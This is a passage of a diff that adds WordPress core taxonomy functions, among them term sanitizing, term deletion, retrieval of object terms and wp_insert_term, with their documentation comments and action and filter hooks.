+		return $wpdb->get_row( $wpdb->prepare("SELECT tt.term_id, tt.term_taxonomy_id FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy as tt ON tt.term_id = t.term_id WHERE $else_where AND tt.taxonomy = %s $orderby $limit", $else_where_fields), ARRAY_A);
+	}
+
+	if ( $result = $wpdb->get_var( $wpdb->prepare("SELECT term_id FROM $wpdb->terms as t WHERE $where $orderby $limit", $where_fields) ) )
+		return $result;
+
+	return $wpdb->get_var( $wpdb->prepare("SELECT term_id FROM $wpdb->terms as t WHERE $else_where $orderby $limit", $else_where_fields) );
+}
+
+/**
+ * Check if a term is an ancestor of another term.
+ *
+ * You can use either an id or the term object for both parameters.
+ *
+ * @since 3.4.0
+ *
+ * @param int|object $term1    ID or object to check if this is the parent term.
+ * @param int|object $term2    The child term.
+ * @param string     $taxonomy Taxonomy name that $term1 and `$term2` belong to.
+ * @return bool Whether `$term2` is a child of `$term1`.
+ */
+function term_is_ancestor_of( $term1, $term2, $taxonomy ) {
+	if ( ! isset( $term1->term_id ) )
+		$term1 = get_term( $term1, $taxonomy );
+	if ( ! isset( $term2->parent ) )
+		$term2 = get_term( $term2, $taxonomy );
+
+	if ( empty( $term1->term_id ) || empty( $term2->parent ) )
+		return false;
+	if ( $term2->parent == $term1->term_id )
+		return true;
+
+	return term_is_ancestor_of( $term1, get_term( $term2->parent, $taxonomy ), $taxonomy );
+}
+
+/**
+ * Sanitize Term all fields.
+ *
+ * Relies on sanitize_term_field() to sanitize the term. The difference is that
+ * this function will sanitize <strong>all</strong> fields. The context is based
+ * on sanitize_term_field().
+ *
+ * The $term is expected to be either an array or an object.
+ *
+ * @since 2.3.0
+ *
+ * @param array|object $term     The term to check.
+ * @param string       $taxonomy The taxonomy name to use.
+ * @param string       $context  Optional. Context in which to sanitize the term. Accepts 'edit', 'db',
+ *                               'display', 'attribute', or 'js'. Default 'display'.
+ * @return array|object Term with all fields sanitized.
+ */
+function sanitize_term($term, $taxonomy, $context = 'display') {
+	$fields = array( 'term_id', 'name', 'description', 'slug', 'count', 'parent', 'term_group', 'term_taxonomy_id', 'object_id' );
+
+	$do_object = is_object( $term );
+
+	$term_id = $do_object ? $term->term_id : (isset($term['term_id']) ? $term['term_id'] : 0);
+
+	foreach ( (array) $fields as $field ) {
+		if ( $do_object ) {
+			if ( isset($term->$field) )
+				$term->$field = sanitize_term_field($field, $term->$field, $term_id, $taxonomy, $context);
+		} else {
+			if ( isset($term[$field]) )
+				$term[$field] = sanitize_term_field($field, $term[$field], $term_id, $taxonomy, $context);
+		}
+	}
+
+	if ( $do_object )
+		$term->filter = $context;
+	else
+		$term['filter'] = $context;
+
+	return $term;
+}
+
+/**
+ * Cleanse the field value in the term based on the context.
+ *
+ * Passing a term field value through the function should be assumed to have
+ * cleansed the value for whatever context the term field is going to be used.
+ *
+ * If no context or an unsupported context is given, then default filters will
+ * be applied.
+ *
+ * There are enough filters for each context to support a custom filtering
+ * without creating your own filter function. Simply create a function that
+ * hooks into the filter you need.
+ *
+ * @since 2.3.0
+ *
+ * @param string $field    Term field to sanitize.
+ * @param string $value    Search for this term value.
+ * @param int    $term_id  Term ID.
+ * @param string $taxonomy Taxonomy Name.
+ * @param string $context  Context in which to sanitize the term field. Accepts 'edit', 'db', 'display',
+ *                         'attribute', or 'js'.
+ * @return mixed Sanitized field.
+ */
+function sanitize_term_field($field, $value, $term_id, $taxonomy, $context) {
+	$int_fields = array( 'parent', 'term_id', 'count', 'term_group', 'term_taxonomy_id', 'object_id' );
+	if ( in_array( $field, $int_fields ) ) {
+		$value = (int) $value;
+		if ( $value < 0 )
+			$value = 0;
+	}
+
+	if ( 'raw' == $context )
+		return $value;
+
+	if ( 'edit' == $context ) {
+
+		/**
+		 * Filters a term field to edit before it is sanitized.
+		 *
+		 * The dynamic portion of the filter name, `$field`, refers to the term field.
+		 *
+		 * @since 2.3.0
+		 *
+		 * @param mixed $value     Value of the term field.
+		 * @param int   $term_id   Term ID.
+		 * @param string $taxonomy Taxonomy slug.
+		 */
+		$value = apply_filters( "edit_term_{$field}", $value, $term_id, $taxonomy );
+
+		/**
+		 * Filters the taxonomy field to edit before it is sanitized.
+		 *
+		 * The dynamic portions of the filter name, `$taxonomy` and `$field`, refer
+		 * to the taxonomy slug and taxonomy field, respectively.
+		 *
+		 * @since 2.3.0
+		 *
+		 * @param mixed $value   Value of the taxonomy field to edit.
+		 * @param int   $term_id Term ID.
+		 */
+		$value = apply_filters( "edit_{$taxonomy}_{$field}", $value, $term_id );
+
+		if ( 'description' == $field )
+			$value = esc_html($value); // textarea_escaped
+		else
+			$value = esc_attr($value);
+	} elseif ( 'db' == $context ) {
+
+		/**
+		 * Filters a term field value before it is sanitized.
+		 *
+		 * The dynamic portion of the filter name, `$field`, refers to the term field.
+		 *
+		 * @since 2.3.0
+		 *
+		 * @param mixed  $value    Value of the term field.
+		 * @param string $taxonomy Taxonomy slug.
+		 */
+		$value = apply_filters( "pre_term_{$field}", $value, $taxonomy );
+
+		/**
+		 * Filters a taxonomy field before it is sanitized.
+		 *
+		 * The dynamic portions of the filter name, `$taxonomy` and `$field`, refer
+		 * to the taxonomy slug and field name, respectively.
+		 *
+		 * @since 2.3.0
+		 *
+		 * @param mixed $value Value of the taxonomy field.
+		 */
+		$value = apply_filters( "pre_{$taxonomy}_{$field}", $value );
+
+		// Back compat filters
+		if ( 'slug' == $field ) {
+			/**
+			 * Filters the category nicename before it is sanitized.
+			 *
+			 * Use the {@see 'pre_$taxonomy_$field'} hook instead.
+			 *
+			 * @since 2.0.3
+			 *
+			 * @param string $value The category nicename.
+			 */
+			$value = apply_filters( 'pre_category_nicename', $value );
+		}
+
+	} elseif ( 'rss' == $context ) {
+
+		/**
+		 * Filters the term field for use in RSS.
+		 *
+		 * The dynamic portion of the filter name, `$field`, refers to the term field.
+		 *
+		 * @since 2.3.0
+		 *
+		 * @param mixed  $value    Value of the term field.
+		 * @param string $taxonomy Taxonomy slug.
+		 */
+		$value = apply_filters( "term_{$field}_rss", $value, $taxonomy );
+
+		/**
+		 * Filters the taxonomy field for use in RSS.
+		 *
+		 * The dynamic portions of the hook name, `$taxonomy`, and `$field`, refer
+		 * to the taxonomy slug and field name, respectively.
+		 *
+		 * @since 2.3.0
+		 *
+		 * @param mixed $value Value of the taxonomy field.
+		 */
+		$value = apply_filters( "{$taxonomy}_{$field}_rss", $value );
+	} else {
+		// Use display filters by default.
+
+		/**
+		 * Filters the term field sanitized for display.
+		 *
+		 * The dynamic portion of the filter name, `$field`, refers to the term field name.
+		 *
+		 * @since 2.3.0
+		 *
+		 * @param mixed  $value    Value of the term field.
+		 * @param int    $term_id  Term ID.
+		 * @param string $taxonomy Taxonomy slug.
+		 * @param string $context  Context to retrieve the term field value.
+		 */
+		$value = apply_filters( "term_{$field}", $value, $term_id, $taxonomy, $context );
+
+		/**
+		 * Filters the taxonomy field sanitized for display.
+		 *
+		 * The dynamic portions of the filter name, `$taxonomy`, and `$field`, refer
+		 * to the taxonomy slug and taxonomy field, respectively.
+		 *
+		 * @since 2.3.0
+		 *
+		 * @param mixed  $value   Value of the taxonomy field.
+		 * @param int    $term_id Term ID.
+		 * @param string $context Context to retrieve the taxonomy field value.
+		 */
+		$value = apply_filters( "{$taxonomy}_{$field}", $value, $term_id, $context );
+	}
+
+	if ( 'attribute' == $context ) {
+		$value = esc_attr($value);
+	} elseif ( 'js' == $context ) {
+		$value = esc_js($value);
+	}
+	return $value;
+}
+
+/**
+ * Count how many terms are in Taxonomy.
+ *
+ * Default $args is 'hide_empty' which can be 'hide_empty=true' or array('hide_empty' => true).
+ *
+ * @since 2.3.0
+ *
+ * @param string       $taxonomy Taxonomy name.
+ * @param array|string $args     Optional. Array of arguments that get passed to get_terms().
+ *                               Default empty array.
+ * @return array|int|WP_Error Number of terms in that taxonomy or WP_Error if the taxonomy does not exist.
+ */
+function wp_count_terms( $taxonomy, $args = array() ) {
+	$defaults = array('hide_empty' => false);
+	$args = wp_parse_args($args, $defaults);
+
+	// backward compatibility
+	if ( isset($args['ignore_empty']) ) {
+		$args['hide_empty'] = $args['ignore_empty'];
+		unset($args['ignore_empty']);
+	}
+
+	$args['fields'] = 'count';
+
+	return get_terms($taxonomy, $args);
+}
+
+/**
+ * Will unlink the object from the taxonomy or taxonomies.
+ *
+ * Will remove all relationships between the object and any terms in
+ * a particular taxonomy or taxonomies. Does not remove the term or
+ * taxonomy itself.
+ *
+ * @since 2.3.0
+ *
+ * @param int          $object_id  The term Object Id that refers to the term.
+ * @param string|array $taxonomies List of Taxonomy Names or single Taxonomy name.
+ */
+function wp_delete_object_term_relationships( $object_id, $taxonomies ) {
+	$object_id = (int) $object_id;
+
+	if ( !is_array($taxonomies) )
+		$taxonomies = array($taxonomies);
+
+	foreach ( (array) $taxonomies as $taxonomy ) {
+		$term_ids = wp_get_object_terms( $object_id, $taxonomy, array( 'fields' => 'ids' ) );
+		$term_ids = array_map( 'intval', $term_ids );
+		wp_remove_object_terms( $object_id, $term_ids, $taxonomy );
+	}
+}
+
+/**
+ * Removes a term from the database.
+ *
+ * If the term is a parent of other terms, then the children will be updated to
+ * that term's parent.
+ *
+ * Metadata associated with the term will be deleted.
+ *
+ * @since 2.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int          $term     Term ID.
+ * @param string       $taxonomy Taxonomy Name.
+ * @param array|string $args {
+ *     Optional. Array of arguments to override the default term ID. Default empty array.
+ *
+ *     @type int  $default       The term ID to make the default term. This will only override
+ *                               the terms found if there is only one term found. Any other and
+ *                               the found terms are used.
+ *     @type bool $force_default Optional. Whether to force the supplied term as default to be
+ *                               assigned even if the object was not going to be term-less.
+ *                               Default false.
+ * }
+ * @return bool|int|WP_Error True on success, false if term does not exist. Zero on attempted
+ *                           deletion of default Category. WP_Error if the taxonomy does not exist.
+ */
+function wp_delete_term( $term, $taxonomy, $args = array() ) {
+	global $wpdb;
+
+	$term = (int) $term;
+
+	if ( ! $ids = term_exists($term, $taxonomy) )
+		return false;
+	if ( is_wp_error( $ids ) )
+		return $ids;
+
+	$tt_id = $ids['term_taxonomy_id'];
+
+	$defaults = array();
+
+	if ( 'category' == $taxonomy ) {
+		$defaults['default'] = get_option( 'default_category' );
+		if ( $defaults['default'] == $term )
+			return 0; // Don't delete the default category
+	}
+
+	$args = wp_parse_args($args, $defaults);
+
+	if ( isset( $args['default'] ) ) {
+		$default = (int) $args['default'];
+		if ( ! term_exists( $default, $taxonomy ) ) {
+			unset( $default );
+		}
+	}
+
+	if ( isset( $args['force_default'] ) ) {
+		$force_default = $args['force_default'];
+	}
+
+	/**
+	 * Fires when deleting a term, before any modifications are made to posts or terms.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param int    $term     Term ID.
+	 * @param string $taxonomy Taxonomy Name.
+	 */
+	do_action( 'pre_delete_term', $term, $taxonomy );
+
+	// Update children to point to new parent
+	if ( is_taxonomy_hierarchical($taxonomy) ) {
+		$term_obj = get_term($term, $taxonomy);
+		if ( is_wp_error( $term_obj ) )
+			return $term_obj;
+		$parent = $term_obj->parent;
+
+		$edit_ids = $wpdb->get_results( "SELECT term_id, term_taxonomy_id FROM $wpdb->term_taxonomy WHERE `parent` = " . (int)$term_obj->term_id );
+		$edit_tt_ids = wp_list_pluck( $edit_ids, 'term_taxonomy_id' );
+
+		/**
+		 * Fires immediately before a term to delete's children are reassigned a parent.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param array $edit_tt_ids An array of term taxonomy IDs for the given term.
+		 */
+		do_action( 'edit_term_taxonomies', $edit_tt_ids );
+
+		$wpdb->update( $wpdb->term_taxonomy, compact( 'parent' ), array( 'parent' => $term_obj->term_id) + compact( 'taxonomy' ) );
+
+		// Clean the cache for all child terms.
+		$edit_term_ids = wp_list_pluck( $edit_ids, 'term_id' );
+		clean_term_cache( $edit_term_ids, $taxonomy );
+
+		/**
+		 * Fires immediately after a term to delete's children are reassigned a parent.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param array $edit_tt_ids An array of term taxonomy IDs for the given term.
+		 */
+		do_action( 'edited_term_taxonomies', $edit_tt_ids );
+	}
+
+	// Get the term before deleting it or its term relationships so we can pass to actions below.
+	$deleted_term = get_term( $term, $taxonomy );
+
+	$object_ids = (array) $wpdb->get_col( $wpdb->prepare( "SELECT object_id FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d", $tt_id ) );
+
+	foreach ( $object_ids as $object_id ) {
+		$terms = wp_get_object_terms( $object_id, $taxonomy, array( 'fields' => 'ids', 'orderby' => 'none' ) );
+		if ( 1 == count($terms) && isset($default) ) {
+			$terms = array($default);
+		} else {
+			$terms = array_diff($terms, array($term));
+			if (isset($default) && isset($force_default) && $force_default)
+				$terms = array_merge($terms, array($default));
+		}
+		$terms = array_map('intval', $terms);
+		wp_set_object_terms( $object_id, $terms, $taxonomy );
+	}
+
+	// Clean the relationship caches for all object types using this term.
+	$tax_object = get_taxonomy( $taxonomy );
+	foreach ( $tax_object->object_type as $object_type )
+		clean_object_term_cache( $object_ids, $object_type );
+
+	$term_meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->termmeta WHERE term_id = %d ", $term ) );
+	foreach ( $term_meta_ids as $mid ) {
+		delete_metadata_by_mid( 'term', $mid );
+	}
+
+	/**
+	 * Fires immediately before a term taxonomy ID is deleted.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int $tt_id Term taxonomy ID.
+	 */
+	do_action( 'delete_term_taxonomy', $tt_id );
+	$wpdb->delete( $wpdb->term_taxonomy, array( 'term_taxonomy_id' => $tt_id ) );
+
+	/**
+	 * Fires immediately after a term taxonomy ID is deleted.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param int $tt_id Term taxonomy ID.
+	 */
+	do_action( 'deleted_term_taxonomy', $tt_id );
+
+	// Delete the term if no taxonomies use it.
+	if ( !$wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_taxonomy WHERE term_id = %d", $term) ) )
+		$wpdb->delete( $wpdb->terms, array( 'term_id' => $term ) );
+
+	clean_term_cache($term, $taxonomy);
+
+	/**
+	 * Fires after a term is deleted from the database and the cache is cleaned.
+	 *
+	 * @since 2.5.0
+	 * @since 4.5.0 Introduced the `$object_ids` argument.
+	 *
+	 * @param int     $term         Term ID.
+	 * @param int     $tt_id        Term taxonomy ID.
+	 * @param string  $taxonomy     Taxonomy slug.
+	 * @param mixed   $deleted_term Copy of the already-deleted term, in the form specified
+	 *                              by the parent function. WP_Error otherwise.
+	 * @param array   $object_ids   List of term object IDs.
+	 */
+	do_action( 'delete_term', $term, $tt_id, $taxonomy, $deleted_term, $object_ids );
+
+	/**
+	 * Fires after a term in a specific taxonomy is deleted.
+	 *
+	 * The dynamic portion of the hook name, `$taxonomy`, refers to the specific
+	 * taxonomy the term belonged to.
+	 *
+	 * @since 2.3.0
+	 * @since 4.5.0 Introduced the `$object_ids` argument.
+	 *
+	 * @param int     $term         Term ID.
+	 * @param int     $tt_id        Term taxonomy ID.
+	 * @param mixed   $deleted_term Copy of the already-deleted term, in the form specified
+	 *                              by the parent function. WP_Error otherwise.
+	 * @param array   $object_ids   List of term object IDs.
+	 */
+	do_action( "delete_{$taxonomy}", $term, $tt_id, $deleted_term, $object_ids );
+
+	return true;
+}
+
+/**
+ * Deletes one existing category.
+ *
+ * @since 2.0.0
+ *
+ * @param int $cat_ID Category term ID.
+ * @return bool|int|WP_Error Returns true if completes delete action; false if term doesn't exist;
+ * 	Zero on attempted deletion of default Category; WP_Error object is also a possibility.
+ */
+function wp_delete_category( $cat_ID ) {
+	return wp_delete_term( $cat_ID, 'category' );
+}
+
+/**
+ * Retrieves the terms associated with the given object(s), in the supplied taxonomies.
+ *
+ * @since 2.3.0
+ * @since 4.2.0 Added support for 'taxonomy', 'parent', and 'term_taxonomy_id' values of `$orderby`.
+ *              Introduced `$parent` argument.
+ * @since 4.4.0 Introduced `$meta_query` and `$update_term_meta_cache` arguments. When `$fields` is 'all' or
+ *              'all_with_object_id', an array of `WP_Term` objects will be returned.
+ * @since 4.7.0 Refactored to use WP_Term_Query, and to support any WP_Term_Query arguments.
+ *
+ * @param int|array    $object_ids The ID(s) of the object(s) to retrieve.
+ * @param string|array $taxonomies The taxonomies to retrieve terms from.
+ * @param array|string $args       See WP_Term_Query::__construct() for supported arguments.
+ * @return array|WP_Error The requested term data or empty array if no terms found.
+ *                        WP_Error if any of the $taxonomies don't exist.
+ */
+function wp_get_object_terms($object_ids, $taxonomies, $args = array()) {
+	if ( empty( $object_ids ) || empty( $taxonomies ) )
+		return array();
+
+	if ( !is_array($taxonomies) )
+		$taxonomies = array($taxonomies);
+
+	foreach ( $taxonomies as $taxonomy ) {
+		if ( ! taxonomy_exists($taxonomy) )
+			return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) );
+	}
+
+	if ( !is_array($object_ids) )
+		$object_ids = array($object_ids);
+	$object_ids = array_map('intval', $object_ids);
+
+	$args = wp_parse_args( $args );
+
+	/**
+	 * Filter arguments for retrieving object terms.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param array        $args       An array of arguments for retrieving terms for the given object(s).
+	 *                                 See {@see wp_get_object_terms()} for details.
+	 * @param int|array    $object_ids Object ID or array of IDs.
+	 * @param string|array $taxonomies The taxonomies to retrieve terms from.
+	 */
+	$args = apply_filters( 'wp_get_object_terms_args', $args, $object_ids, $taxonomies );
+
+	/*
+	 * When one or more queried taxonomies is registered with an 'args' array,
+	 * those params override the `$args` passed to this function.
+	 */
+	$terms = array();
+	if ( count( $taxonomies ) > 1 ) {
+		foreach ( $taxonomies as $index => $taxonomy ) {
+			$t = get_taxonomy( $taxonomy );
+			if ( isset( $t->args ) && is_array( $t->args ) && $args != array_merge( $args, $t->args ) ) {
+				unset( $taxonomies[ $index ] );
+				$terms = array_merge( $terms, wp_get_object_terms( $object_ids, $taxonomy, array_merge( $args, $t->args ) ) );
+			}
+		}
+	} else {
+		$t = get_taxonomy( $taxonomies[0] );
+		if ( isset( $t->args ) && is_array( $t->args ) ) {
+			$args = array_merge( $args, $t->args );
+		}
+	}
+
+	$args['taxonomy'] = $taxonomies;
+	$args['object_ids'] = $object_ids;
+
+	// Taxonomies registered without an 'args' param are handled here.
+	if ( ! empty( $taxonomies ) ) {
+		$terms_from_remaining_taxonomies = get_terms( $args );
+
+		// Array keys should be preserved for values of $fields that use term_id for keys.
+		if ( ! empty( $args['fields'] ) && 0 === strpos( $args['fields'], 'id=>' ) ) {
+			$terms = $terms + $terms_from_remaining_taxonomies;
+		} else {
+			$terms = array_merge( $terms, $terms_from_remaining_taxonomies );
+		}
+	}
+
+	/**
+	 * Filters the terms for a given object or objects.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param array $terms      An array of terms for the given object or objects.
+	 * @param array $object_ids Array of object IDs for which `$terms` were retrieved.
+	 * @param array $taxonomies Array of taxonomies from which `$terms` were retrieved.
+	 * @param array $args       An array of arguments for retrieving terms for the given
+	 *                          object(s). See wp_get_object_terms() for details.
+	 */
+	$terms = apply_filters( 'get_object_terms', $terms, $object_ids, $taxonomies, $args );
+
+	$object_ids = implode( ',', $object_ids );
+	$taxonomies = "'" . implode( "', '", array_map( 'esc_sql', $taxonomies ) ) . "'";
+
+	/**
+	 * Filters the terms for a given object or objects.
+	 *
+	 * The `$taxonomies` parameter passed to this filter is formatted as a SQL fragment. The
+	 * {@see 'get_object_terms'} filter is recommended as an alternative.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array     $terms      An array of terms for the given object or objects.
+	 * @param int|array $object_ids Object ID or array of IDs.
+	 * @param string    $taxonomies SQL-formatted (comma-separated and quoted) list of taxonomy names.
+	 * @param array     $args       An array of arguments for retrieving terms for the given object(s).
+	 *                              See wp_get_object_terms() for details.
+	 */
+	return apply_filters( 'wp_get_object_terms', $terms, $object_ids, $taxonomies, $args );
+}
+
+/**
+ * Add a new term to the database.
+ *
+ * A non-existent term is inserted in the following sequence:
+ * 1. The term is added to the term table, then related to the taxonomy.
+ * 2. If everything is correct, several actions are fired.
+ * 3. The 'term_id_filter' is evaluated.
+ * 4. The term cache is cleaned.
+ * 5. Several more actions are fired.
+ * 6. An array is returned containing the term_id and term_taxonomy_id.
+ *
+ * If the 'slug' argument is not empty, then it is checked to see if the term
+ * is invalid. If it is not a valid, existing term, it is added and the term_id
+ * is given.
+ *
+ * If the taxonomy is hierarchical, and the 'parent' argument is not empty,
+ * the term is inserted and the term_id will be given.
+ *
+ * Error handling:
+ * If $taxonomy does not exist or $term is empty,
+ * a WP_Error object will be returned.
+ *
+ * If the term already exists on the same hierarchical level,
+ * or the term slug and name are not unique, a WP_Error object will be returned.
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @since 2.3.0
+ *
+ * @param string       $term     The term to add or update.
+ * @param string       $taxonomy The taxonomy to which to add the term.
+ * @param array|string $args {
+ *     Optional. Array or string of arguments for inserting a term.
+ *
+ *     @type string $alias_of    Slug of the term to make this term an alias of.
+ *                               Default empty string. Accepts a term slug.
+ *     @type string $description The term description. Default empty string.
+ *     @type int    $parent      The id of the parent term. Default 0.
+ *     @type string $slug        The term slug to use. Default empty string.
+ * }
+ * @return array|WP_Error An array containing the `term_id` and `term_taxonomy_id`,
+ *                        WP_Error otherwise.
+ */
+function wp_insert_term( $term, $taxonomy, $args = array() ) {
+	global $wpdb;
+
+	if ( ! taxonomy_exists($taxonomy) ) {
+		return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) );
+	}
+	/**
+	 * Filters a term before it is sanitized and inserted into the database.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $term     The term to add or update.
+	 * @param string $taxonomy Taxonomy slug.
+	 */
+	$term = apply_filters( 'pre_insert_term', $term, $taxonomy );
+	if ( is_wp_error( $term ) ) {
+		return $term;
+	}
+	if ( is_int( $term ) && 0 == $term ) {
+		return new WP_Error( 'invalid_term_id', __( 'Invalid term ID.' ) );
+	}
+	if ( '' == trim( $term ) ) {
+		return new WP_Error( 'empty_term_name', __( 'A name is required for this term.' ) );
+	}
+	$defaults = array( 'alias_of' => '', 'description' => '', 'parent' => 0, 'slug' => '');
+	$args = wp_parse_args( $args, $defaults );
+
+	if ( $args['parent'] > 0 && ! term_exists( (int) $args['parent'] ) ) {
+		return new WP_Error( 'missing_parent', __( 'Parent term does not exist.' ) );
+	}
+
+	$args['name'] = $term;
+	$args['taxonomy'] = $taxonomy;
+
+	// Coerce null description to strings, to avoid database errors.
+	$args['description'] = (string) $args['description'];
+
+	$args = sanitize_term($args, $taxonomy, 'db');
+
+	// expected_slashed ($name)
+	$name = wp_unslash( $args['name'] );
+	$description = wp_unslash( $args['description'] );
+	$parent = (int) $args['parent'];
+
+	$slug_provided = ! empty( $args['slug'] );
+	if ( ! $slug_provided ) {
+		$slug = sanitize_title( $name );
+	} else {
+		$slug = $args['slug'];
+	}
+
+	$term_group = 0;
+	if ( $args['alias_of'] ) {
+		$alias = get_term_by( 'slug', $args['alias_of'], $taxonomy );
+		if ( ! empty( $alias->term_group ) ) {
+			// The alias we want is already in a group, so let's use that one.
+			$term_group = $alias->term_group;
+		} elseif ( ! empty( $alias->term_id ) ) {
+			/*
+			 * The alias is not in a group, so we create a new one
+			 * and add the alias to it.
+			 */
+			$term_group = $wpdb->get_var("SELECT MAX(term_group) FROM $wpdb->terms") + 1;
+
+			wp_update_term( $alias->term_id, $taxonomy, array(
+				'term_group' => $term_group,
+			) );
+		}
+	}
+
+	/*
+	 * Prevent the creation of terms with duplicate names at the same level of a taxonomy hierarchy,
+	 * unless a unique slug has been explicitly provided.
+	 */
+	$name_matches = get_terms( $taxonomy, array(
+		'name' => $name,
+		'hide_empty' => false,
+		'parent' => $args['parent'],
+	) );
+
+	/*
+	 * The `name` match in `get_terms()` doesn't differentiate accented characters,
+	 * so we do a stricter comparison here.
+	 */
+	$name_match = null;
+	if ( $name_matches ) {
+		foreach ( $name_matches as $_match ) {
+			if ( strtolower( $name ) === strtolower( $_match->name ) ) {
+				$name_match = $_match;
+				break;
+			}
+		}
+	}
+
+	if ( $name_match ) {
+		$slug_match = get_term_by( 'slug', $slug, $taxonomy );
+		if ( ! $slug_provided || $name_match->slug === $slug || $slug_match ) {
+			if ( is_taxonomy_hierarchical( $taxonomy ) ) {
+				$siblings = get_terms( $taxonomy, array( 'get' => 'all', 'parent' => $parent ) );
+
+				$existing_term = null;
+				if ( ( ! $slug_provided || $name_match->slug === $slug ) && in_array( $name, wp_list_pluck( $siblings, 'name' ) ) ) {
+					$existing_term = $name_match;
+				} elseif ( $slug_match && in_array( $slug, wp_list_pluck( $siblings, 'slug' ) ) ) {
+					$existing_term = $slug_match;
+				}
+
+				if ( $existing_term ) {
+					return new WP_Error( 'term_exists', __( 'A term with the name provided already exists with this parent.' ), $existing_term->term_id );
+				}
+			} else {
+				return new WP_Error( 'term_exists', __( 'A term with the name provided already exists in this taxonomy.' ), $name_match->term_id );
+			}
+		}
+	}
+
+	$slug = wp_unique_term_slug( $slug, (object) $args );
+
+	$data = compact( 'name', 'slug', 'term_group' );
+
+	/**
+	 * Filters term data before it is inserted into the database.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param array  $data     Term data to be inserted.
+	 * @param string $taxonomy Taxonomy slug.
+	 * @param array  $args     Arguments passed to wp_insert_term().
+	 */
+	$data = apply_filters( 'wp_insert_term_data', $data, $taxonomy, $args );
+
+	if ( false === $wpdb->insert( $wpdb->terms, $data ) ) {
+		return new WP_Error( 'db_insert_error', __( 'Could not insert term into the database.' ), $wpdb->last_error );
+	}
+
+	$term_id = (int) $wpdb->insert_id;
+
+	// Seems unreachable, However, Is used in the case that a term name is provided, which sanitizes to an empty string.
+	if ( empty($slug) ) {
+		$slug = sanitize_title($slug, $term_id);
+
+		/** This action is documented in wp-includes/taxonomy.php */
+		do_action( 'edit_terms', $term_id, $taxonomy );
+		$wpdb->update( $wpdb->terms, compact( 'slug' ), compact( 'term_id' ) );
+
+		/** This action is documented in wp-includes/taxonomy.php */
+		do_action( 'edited_terms', $term_id, $taxonomy );
+	}
+
+	$tt_id = $wpdb->get_var( $wpdb->prepare( "SELECT tt.term_taxonomy_id FROM $wpdb->term_taxonomy AS tt INNER JOIN $wpdb->terms AS t ON tt.term_id = t.term_id WHERE tt.taxonomy = %s AND t.term_id = %d", $taxonomy, $term_id ) );
+
+	if ( !empty($tt_id) ) {
+		return array('term_id' => $term_id, 'term_taxonomy_id' => $tt_id);
+	}
+	$wpdb->insert( $wpdb->term_taxonomy, compact( 'term_id', 'taxonomy', 'description', 'parent') + array( 'count' => 0 ) );
+	$tt_id = (int) $wpdb->insert_id;
+
+	/*
+	 * Sanity check: if we just created a term with the same parent + taxonomy + slug but a higher term_id than
+	 * an existing term, then we have unwittingly created a duplicate term. Delete the dupe, and use the term_id
+	 * and term_taxonomy_id of the older term instead. Then return out of the function so that the "create" hooks
+	 * are not fired.
+	 */
+	$duplicate_term = $wpdb->get_row( $wpdb->prepare( "SELECT t.term_id, tt.term_taxonomy_id FROM $wpdb->terms t INNER JOIN $wpdb->term_taxonomy tt ON ( tt.term_id = t.term_id ) WHERE t.slug = %s AND tt.parent = %d AND tt.taxonomy = %s AND t.term_id < %d AND tt.term_taxonomy_id != %d", $slug, $parent, $taxonomy, $term_id, $tt_id ) );
+	if ( $duplicate_term ) {
+		$wpdb->delete( $wpdb->terms, array( 'term_id' => $term_id ) );
+		$wpdb->delete( $wpdb->term_taxonomy, array( 'term_taxonomy_id' => $tt_id ) );
+
+		$term_id = (int) $duplicate_term->term_id;
+		$tt_id   = (int) $duplicate_term->term_taxonomy_id;
+
+		clean_term_cache( $term_id, $taxonomy );
+		return array( 'term_id' => $term_id, 'term_taxonomy_id' => $tt_id );
+	}
+
+	/**
+	 * Fires immediately after a new term is created, before the term cache is cleaned.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param int    $term_id  Term ID.
+	 * @param int    $tt_id    Term taxonomy ID.
+	 * @param string $taxonomy Taxonomy slug.
+	 */
+	do_action( "create_term", $term_id, $tt_id, $taxonomy );
+
+	/**
+	 * Fires after a new term is created for a specific taxonomy.
+	 *
+	 * The dynamic portion of the hook name, `$taxonomy`, refers
+	 * to the slug of the taxonomy the term was created for.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param int $term_id Term ID.
+	 * @param int $tt_id   Term taxonomy ID.
+	 */
+	do_action( "create_{$taxonomy}", $term_id, $tt_id );
+
+	/**
+	 * Filters the term ID after a new term is created.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param int $term_id Term ID.
+	 * @param int $tt_id   Taxonomy term ID.
+	 */
+	$term_id = apply_filters( 'term_id_filter', $term_id, $tt_id );
+
+	clean_term_cache($term_id, $taxonomy);
+
+	/**
+	 * Fires after a new term is created, and after the term cache has been cleaned.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param int    $term_id  Term ID.
+	 * @param int    $tt_id    Term taxonomy ID.
+	 * @param string $taxonomy Taxonomy slug.
+	 */
+	do_action( 'created_term', $term_id, $tt_id, $taxonomy );
+
+	/**
+	 * Fires after a new term in a specific taxonomy is created, and after the term
+	 * cache has been cleaned.
+	 *
+	 * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param int $term_id Term ID.
+	 * @param int $tt_id   Term taxonomy ID.
+	 */
+	do_action( "created_{$taxonomy}", $term_id, $tt_id );
+
+	return array('term_id' => $term_id, 'term_taxonomy_id' => $tt_id);
+}
+
+/**
+ * Create Term and Taxonomy Relationships.
+ *
